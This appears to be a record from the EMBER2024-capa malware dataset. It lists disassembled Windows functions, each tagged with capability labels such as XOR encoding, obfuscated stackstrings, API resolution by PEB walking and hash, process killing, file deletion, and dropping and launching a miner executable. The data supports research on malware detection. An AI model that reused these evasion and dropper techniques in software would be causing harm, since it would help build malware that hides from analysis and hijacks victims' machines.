joyce8/EMBER2024-capa huggingface dataset:
Function at 0x9ab172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x9ab1a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x9ab1a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x9abdff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.009abf04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.009abf20
push edx
push dword [ebp + 0x10]
push eax
call fcn.009abeec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.009abf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.009abecb
push ecx
push dword [ebp + 8]
call fcn.009abf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.009abf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.009abecb
push ecx
push dword [ebp + 8]
call fcn.009abf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.009abf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.009abecb
push ecx
push dword [ebp + 8]
call fcn.009abf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.009abf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.009abecb
cmp ecx, 0x2b
jne 0x9abe0f
leave
ret 0xc

Function at 0x9ad4b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x9ad544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x2ace10
push 0
call dword [eax + 0x20]
test eax, eax
je 0x9ad5d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x2ace10
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x2ace10
call fcn.009ad3fa
push 0x2ace10
push dword [ebp + 0xc]
call fcn.009ab1a8
test eax, eax
jne 0x9ad5b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x2ace10
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.009ad5dd
test eax, eax
je 0x9ad5d6
jmp 0x9ad574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x9ad5d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x9ad60b
Capabilities:
Terminate process

Disassembly:
call fcn.009ad618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x401287
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
mov ebx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov al, byte [ebp + 0x10]
test ecx, ecx
je 0x4012ac
test ebx, ebx
je 0x4012ac
xor byte [ebx], al
lea ebx, [ebx + 1]
dec ecx
jne 0x40129f
xor eax, eax
inc eax
jmp 0x4012ae
xor eax, eax
pop ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401962
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x401990
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x401987
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40197f
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x4019b1
mov esp, ebp
pop ebp
ret

Function at 0x4019b5
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x401a21
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x401a4e
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x401a3d
xor ecx, eax
xor edx, ebx
dec edi
jne 0x401a2e
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x401a74
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x401a15
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x401aa0
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40db62
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x40db90
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x40dbae
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0040dac8
jmp 0x40dbae
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40dbae
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0040dac8
test edi, edi
mov eax, edi
jne 0x40db98
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x403fa0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x421468
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x42c6dc]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x42c6dc]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x4040f4
cmp byte [ebx + 0x45], 0
je 0x4040f4
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x404000
xor al, al
jmp 0x4040f6
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
cmp ecx, 0x10
cmovae eax, dword [esp + 0x18]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], 8
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x404040
cmp dword [esp + 0x2c], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [esp + 0x14]
mov edx, dword [ecx]
push eax
mov eax, dword [esp + 0x2c]
lea edi, [esp + 0x1c]
cmovae edi, dword [esp + 0x1c]
lea esi, [esp + 0x1c]
cmovae esi, dword [esp + 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x404081
dec eax
je 0x404085
sub eax, 2
je 0x4040db
xor bl, bl
jmp 0x4040dd
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
cmp ecx, 0x10
lea eax, [esp + 0x18]
cmovae eax, edx
sub esi, eax
je 0x4040bc
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [esp + 0x20]
cmovae eax, edx
push 1
push eax
call fcn.0040b953
add esp, 0x10
cmp esi, eax
jne 0x40407d
cmp byte [ebx + 0x45], 0
je 0x4040db
test esi, esi
jne 0x404040
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.00403aa0
jmp 0x404040
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x4040f0
push dword [esp + 0x18]
call fcn.0040b778
add esp, 4
mov al, bl
jmp 0x4040f6
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0040a44f
mov esp, ebp
pop ebp
ret
Function at 0x404c00
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4217ab
mov eax, dword fs:[0]
push eax
sub esp, 0x1bc
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
push 0x42efd0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.X:.Trash_100
lea eax, [ebp - 0x11c]
push 0x104
push eax
call fcn.0040b6f9
add esp, 0xc
lea eax, [ebp - 0x11c]
push str.db_
push 0x104
push eax
call fcn.0040b9d1
add esp, 0xc
lea eax, [ebp - 0x11c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
lea eax, [ebp - 0x11c]
push 0x104
push eax
call fcn.0040b9d1
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0xc
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x1c4]
call fcn.00402d90
mov eax, dword [ebp + 8]
cdq
push edx
push eax
push edi
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 4], 0
call fcn.00402510
lea ecx, [ebp - 0x1c0]
call fcn.00403e50
test eax, eax
jne 0x404cfe
mov eax, dword [ebp - 0x1c4]
lea ecx, [ebp - 0x1c4]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x404cf6
or eax, 4
push 0
push eax
call fcn.004017a0
push 0x42efd0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1c8], eax
lea ecx, [ebp - 0x1c0]
call fcn.00402e80
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1c8], eax
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::ios_base.0
call fcn.00409b7f
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a44f
mov esp, ebp
pop ebp
ret
Function at 0x405420
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, ecx
push edi
push eax
mov dword [ebp - 0x34c], eax
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b6f9
push 0x428c80
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b9d1
add esp, 0x18
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x405517
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x12
je 0x405517
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
nop
cmp byte [ebp - 0x31c], 0x2e
je 0x4054fe
push dword [ebp - 0x34c]
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b6f9
push 0x428a0c
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b9d1
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b9d1
add esp, 0x24
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call ebx
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
call esi
cmp eax, 0x12
jne 0x4054a0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a44f
mov esp, ebp
pop ebp
ret

Function at 0x4062f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42efd0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42efd0
mov byte [0x42efcd], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42efc8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.00404da0
add esp, 4
test al, al
je 0x406355
lea ecx, [ebp - 0x110]
call fcn.00408580
push 0xffffffffffffffff
push dword [0x42efc8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a44f
mov esp, ebp
pop ebp
ret

Function at 0x406380
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42efd0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42efd0
mov byte [0x42efcd], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42efc8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.00404da0
add esp, 4
test al, al
je 0x4063e5
lea ecx, [ebp - 0x110]
call fcn.00408580
push 0xffffffffffffffff
push dword [0x42efc8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x406400
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.0040f060
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
imul esi, esi, 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00406380
int3

Function at 0x4064a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov bl, dl
mov esi, ecx
mov byte [ebp - 0x130], 0
call fcn.0040f060
mov al, byte [0x428d54]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x130]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
call fcn.0040b6f9
add esp, 0xc
lea eax, [ebp - 0x130]
push 0x428a0c
push 0x104
push eax
call fcn.0040b9d1
add esp, 0xc
lea eax, [ebp - 0x130]
push str.Hmmm...exe
push 0x104
push eax
call fcn.0040b9d1
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
lea ecx, [ecx]
mov al, byte [edx]
inc edx
test al, al
jne 0x406560
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.00404fa0
push 0x42dee0
push esi
call fcn.0040bbc0
add esp, 0x10
cmp eax, esi
jne 0x406591
test bl, bl
jne 0x40662f
push 0x428c9c
push esi
call fcn.0040bbc0
add esp, 8
lea ecx, [eax + 1]
lea edx, [ebp - 0x130]
call fcn.00408250
test al, al
je 0x40662f
lea ecx, [ebp - 0x130]
call fcn.00405080
test al, al
je 0x40662f
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x130]
call fcn.00408ef0
add esp, 4
test eax, eax
jne 0x40663f
push 0x40
push eax
lea eax, [ebp - 0x174]
push eax
mov dword [ebp - 0x178], 0x44
call fcn.0040f060
add esp, 0xc
xor eax, eax
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x178]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x130]
push eax
push 0
mov dword [ebp - 0x14c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406651
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a44f
mov esp, ebp
pop ebp
ret
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.00406400
call fcn.00406380
int3
Function at 0x408250
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5fc
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push str.http:__
push edi
mov dword [ebp - 0x5f8], edx
call fcn.0040bbc0
mov esi, eax
add esp, 8
test esi, esi
je 0x408287
add esi, 7
jmp 0x408289
mov esi, edi
push 0x429218
push esi
call fcn.0040bbc0
add esp, 8
test eax, eax
je 0x408358
push 0x429218
push esi
call fcn.0040bbc0
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x48]
push 0x40
push eax
call fcn.0040befc
push 0x429218
push esi
call fcn.0040bbc0
push eax
lea eax, [ebp - 0x1f0]
push 0x104
push eax
call fcn.0040b6f9
add esp, 0x2c
lea eax, [ebp - 0x5f0]
push 0
push 1
push 0x400
push eax
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00407b20
add esp, 0x10
test al, al
je 0x408358
push ecx
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x5f0]
call fcn.00407a60
add esp, 8
test al, al
je 0x408358
lea eax, [ebp - 0xe8]
push eax
call fcn.0040bfa0
add esp, 4
mov ebx, eax
push ebx
call fcn.00409ec7
add esp, 4
mov esi, eax
push 1
push 0
push ebx
push esi
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00407b20
add esp, 0x10
test al, al
jne 0x40836b
push esi
call fcn.0040b6f4
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a44f
mov esp, ebp
pop ebp
ret
push 0x20
lea edx, [ebp - 0x68]
mov ecx, str.heur_check
call fcn.00404da0
add esp, 4
mov byte [ebp - 0x5f1], al
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x5f8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40834f
xor ecx, ecx
cmp byte [ebp - 0x5f1], cl
push 0
lea eax, [ebp - 0x5fc]
cmovne eax, ecx
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040b6f4
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.0040a44f
mov esp, ebp
pop ebp
ret
Function at 0x408580
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x40865e
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
jne 0x40865e
jmp 0x4085f0
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x10c]
lea esp, [esp]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x408620
test dl, dl
je 0x40861c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x408620
add ecx, 2
add eax, 2
test dl, dl
jne 0x408600
xor eax, eax
jmp 0x408625
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40864f
push dword [ebp - 0x128]
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xd
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
je 0x4085f0
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a44f
mov esp, ebp
pop ebp
ret
Function at 0x408680
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42c6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086b3
sub eax, edx
inc eax
push eax
call fcn.00409ec7
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086d0
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040b6f9
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x4087e7
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x4087e7
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408720
sub ecx, esi
je 0x408753
jmp 0x408730
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x408740
cmp al, 0x5a
jg 0x408740
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408746
sub eax, esi
cmp edx, eax
jb 0x408730
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408760
sub ecx, esi
je 0x40879f
jmp 0x408770
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x408788
cmp al, 0x5a
jg 0x408788
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408792
sub ecx, esi
cmp edx, ecx
jb 0x408770
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4087c7
test dl, dl
je 0x4087c3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4087c7
add eax, 2
add ecx, 2
test dl, dl
jne 0x4087a7
xor eax, eax
jmp 0x4087cc
sbb eax, eax
or eax, 1
test eax, eax
je 0x40880a
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x408713
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040b6f4
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a44f
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040b6f4
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.0040a44f
mov esp, ebp
pop ebp
ret